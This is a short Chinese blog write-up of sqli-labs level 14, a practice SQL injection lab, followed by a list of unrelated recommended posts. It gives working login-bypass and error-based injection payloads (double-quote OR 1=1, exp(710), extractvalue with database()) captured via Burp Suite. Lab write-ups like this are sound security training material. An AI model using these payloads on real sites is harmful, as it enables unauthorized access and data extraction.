sqllab第十四关通关笔记

知识点:

  • 错误注入
  • 这里的语法是 where username=""
  • 直接进行双引号绕过

通过admin admin登录发现还是没有任何回显

通过bp进行抓包;测试输入内容

构造payload:username=a'+or+1=1#

发现不能成功登录

尝试换成双引号

构造payload:username=a"+or+1=1#

成功登录了

尝试进行错误注入

构造payload:username=a"+or+exp(710)#

错误成功打印到页面上了

尝试利用错误注入获取数据库名

构造payload:username=a"+or+extractvalue(1,concat(0x7e,database(),0x7e))#

成功获取了数据库名

到这里就结束了,利用错误注入获取数据库中其他敏感信息在最开始的几关实验过了

10

相关推荐
蒙奇D索大11 分钟前
【11408学习记录】考研英语长难句拆解三步法:三步拆解2020年真题,攻克阅读难点
笔记·学习·考研·改行学it
悠闲漫步者18 分钟前
第2章 MCS-51单片机的串口和最小系统(学习笔记)
笔记·学习·51单片机
莫白媛44 分钟前
Linux创作笔记综合汇总篇
linux·运维·笔记
Wpa.wk1 小时前
Tomcat的安装与部署使用 - 说明版
java·开发语言·经验分享·笔记·tomcat
Vincent_Zhang2331 小时前
专题:所有状语类型(持续补充)
笔记
wdfk_prog1 小时前
[Linux]学习笔记系列 -- [fs]buffer
linux·笔记·学习
海奥华22 小时前
进程调度算法 笔记总结
linux·运维·服务器·笔记·学习
即将进化成人机2 小时前
验证码生成 + Redis 暂存 + JWT 认证
数据库·redis·笔记
山顶听风4 小时前
缠中说禅学习笔记
笔记·金融
橙河网络4 小时前
橙河网络:国外问卷调查答题全过程
经验分享·笔记·课程设计